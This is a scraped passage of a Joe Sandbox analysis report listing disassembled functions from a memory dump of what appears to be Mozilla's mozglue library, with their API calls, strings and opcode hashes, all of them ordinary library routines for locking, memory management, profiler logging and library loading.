Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 17755acdc804955f25797b8a811de5e8050a1727c34bcc62a085bf416d7e57c8
Instruction ID: 701b425678588a5d10df3e0486ac655301879064743d0969c69ad040bdc2cc37
Opcode Fuzzy Hash: 17755acdc804955f25797b8a811de5e8050a1727c34bcc62a085bf416d7e57c8
Instruction Fuzzy Hash: EB517C75704A048FCB24CF59C494A2EB7F9FF89318F69859DE98A87381C731E801CB80

Function 6C981D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C981D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D4C
GetCurrentThreadId.KERNEL32 ref: 6C981DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C981DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C981DDA

Part of subcall function 6C981EF0: GetCurrentThreadId.KERNEL32 ref: 6C981F03
Part of subcall function 6C981EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C981DF2,00000000,00000000), ref: 6C981F0C
Part of subcall function 6C981EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C981F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C981DF4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction ID: d54349d0120fd18efee904ce0231d33505ef5a90f3ef9812b3b9812b454fda2a
Opcode Fuzzy Hash: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction Fuzzy Hash: 4F4167B5205700AFCB10CF29C488B56BBF9FB99718F20446EE95A87B81CB71E814CB94

Function 6C9438A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9BE220,?,?,?,?,6C943899,?), ref: 6C9438B2
ReleaseSRWLockExclusive.KERNEL32(6C9BE220,?,?,?,6C943899,?), ref: 6C9438C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C943899,?), ref: 6C9438F1
RtlFreeHeap.NTDLL ref: 6C943920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C943899,?), ref: 6C94392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C943899,?), ref: 6C943943
RtlFreeHeap.NTDLL ref: 6C94396E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 13819248f28ee963243cb0ec702a939684772163235fc77ea18406129c87ed39
Instruction ID: aeab237aca7e38b71ab4824cb7e87e8db8281a274c887c794aea610393761e2d
Opcode Fuzzy Hash: 13819248f28ee963243cb0ec702a939684772163235fc77ea18406129c87ed39
Instruction Fuzzy Hash: 13212E72600610EFD720DF35C880B86B7B8FF54328F218429E95A9BB10C735F846CB90

Function 6C9784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785AC

Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97767F
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C977693
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785B2

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction ID: e7058d4594062d7693dddc2ecffd31141f83933767761a6289a36119ab0f2e6d
Opcode Fuzzy Hash: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction Fuzzy Hash: C9217F743056019FDB28DB24C888A5BB7B9AF8430CF24482DE55BD3B41DB31F958CB69

Function 6C941640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C941699
VerSetConditionMask.NTDLL ref: 6C9416CB
VerSetConditionMask.NTDLL ref: 6C9416D7
VerSetConditionMask.NTDLL ref: 6C9416DE
VerSetConditionMask.NTDLL ref: 6C9416E5
VerSetConditionMask.NTDLL ref: 6C9416EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9416F9

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction ID: e38fceeb061e02a366b1dab3ffe844c708dd6380c22336468ce64b74319ef0bc
Opcode Fuzzy Hash: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction Fuzzy Hash: 1021D2B07442087BFB116A64CC89FBB737CEFD6B04F504568F6059B6C0C678DD5486A1

Function 6C97F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction ID: 3b2bc4cc71ebac4f0f121473d84fa36a522d8a3afc62d9164307279babc95345
Opcode Fuzzy Hash: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction Fuzzy Hash: EA11C479206204BBCB10AF29C8889A6B77DFF9675CB200015EA0593F41CB71EC21CBB4

Function 6C941FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C941FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C941FFD
__Init_thread_footer.LIBCMT ref: 6C942011
FreeLibrary.KERNEL32 ref: 6C942059

Strings

CoCreateInstance, xrefs: 6C941FF7
combase.dll, xrefs: 6C941FD9

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: f6b85684f06d3c01958e60e52ddd849e02038d645969a696d9b743795c50ef25
Instruction ID: 26845a89f6c7594ae799d8d1fcffc986bec891b39eda673fa8c2578b946b6d1b
Opcode Fuzzy Hash: f6b85684f06d3c01958e60e52ddd849e02038d645969a696d9b743795c50ef25
Instruction Fuzzy Hash: C0113D7D209604FFEF20CF25C958EA73BB9FB8635AF208019F90592654C771D850CBA5

Function 6C940EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C96D9F0,00000000), ref: 6C940F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C940F3C
__Init_thread_footer.LIBCMT ref: 6C940F50
FreeLibrary.KERNEL32(?,6C96D9F0,00000000), ref: 6C940F86

Strings

CoInitializeEx, xrefs: 6C940F36
combase.dll, xrefs: 6C940F18

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction ID: 8a238491c7a14aacdb322a4c540948e69bb8e711760af6aa058295bce47c7c24
Opcode Fuzzy Hash: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction Fuzzy Hash: A511CA7C709240BBDF00CFA9CA48A973778EB96329F204165FD0592780D7B0E411CA69

Function 6C97F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F561

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F585
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C97F499
[I %d/%d] profiler_resume, xrefs: 6C97F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C97F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C97F56A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction ID: 7f971d7a2530eb0fdc676c2bcd9c834f4433f2b773b3a8677f1becf43becf5c0
Opcode Fuzzy Hash: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction Fuzzy Hash: 70F09079204204BFDB106B68D88C96BB77DEB9625DF200015FA0593741DB75C80087B8

Function 6C97F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction ID: 6ed7655d022b86080078032be5ccc5da2c6057c7e8f7ccc679ec97f5f8bbe965
Opcode Fuzzy Hash: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction Fuzzy Hash: 1AF05479305208BFDB106B69888C95BB77DFFD625DF200015FA0593791CB759C0587B9

Function 6C940E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C940DF8), ref: 6C940E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C940EA1
__Init_thread_footer.LIBCMT ref: 6C940EB5
FreeLibrary.KERNEL32 ref: 6C940EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C940E9B
kernel32.dll, xrefs: 6C940E7D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction ID: 36d07f913b5711776ab16abfd07912b998e12545a35804e808b474e846dd49e3
Opcode Fuzzy Hash: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction Fuzzy Hash: 4601E47C608281ABEB00CFA8D994A4337B9E796B1DF3055A9A90192B80DB74E4148A5A

Function 6C9705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C96CFAE,?,?,?,6C9331A7), ref: 6C9705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C96CFAE,?,?,?,6C9331A7), ref: 6C970616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9331A7), ref: 6C97061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9331A7), ref: 6C970627

Strings

<jemalloc>, xrefs: 6C9705FA, 6C97060F
: (malloc) Error in VirtualFree(), xrefs: 6C97061B, 6C970625

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction ID: f7b878710633722550ca183065095e9361bb82facc40488890c60da42b861acd
Opcode Fuzzy Hash: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction Fuzzy Hash: 54E08CE2A0101037F6142296AC86DBB761CDBD6134F090039FD0D86701E94BED1A51F6

Function 6C9405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction ID: 73a8f098127d232a9f21d92a1a6c37f1d3d3a4972731a0e0cf7dec800167419c
Opcode Fuzzy Hash: 87887d4d6281dd03381608c00ec08f90e8e0ed1c7940f0a063fbff5a789ede6f
Instruction Fuzzy Hash: 54A159B4A04705CFDB24CF29C984A9AFBF5BF58304F5486AED44A97B40E730A955CF90

Function 6C9914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9914E2
GetCurrentThreadId.KERNEL32 ref: 6C991546
InitializeConditionVariable.KERNEL32(?), ref: 6C9915BA
free.MOZGLUE(?), ref: 6C9916B4

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
Instruction ID: bdcef36b7a7bfdbae18831c1f2d1a4f3153a1b9676ba1882c0bbff8f618d0901
Opcode Fuzzy Hash: 15d21429a2e10ed22e00fbed58a2e2bd743d26344dd8ad26f0599b78c4abbb52
